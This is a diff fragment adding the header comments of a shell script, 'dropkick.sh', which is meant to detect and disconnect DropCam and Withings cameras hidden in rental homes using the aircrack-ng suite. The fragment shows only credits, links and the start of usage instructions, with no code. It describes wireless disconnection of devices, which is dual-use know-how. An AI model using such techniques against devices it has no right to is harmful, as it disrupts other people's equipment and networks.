+# Detect and Disconnect the DropCam and Withings devices some people are using to
+# spy on guests in their home, especially in AirBnB rentals. Based on Glasshole.sh:

+# This script was named by Adam Harvey (http://ahprojects.com), who also
+# encouraged me to write it. It requires a GNU/Linux host (laptop, Raspberry Pi,
+# etc) and the aircrack-ng suite. I put 'beep' in there for a little audio
+# notification. Comment it out if you don't need it.

+# See also http://plugunplug.net, for a plug-and-play device that does this
+# based on OpenWrt. Code here:

+# Save as dropkick.sh, 'chmod +x dropkick.sh' and exec as follows:
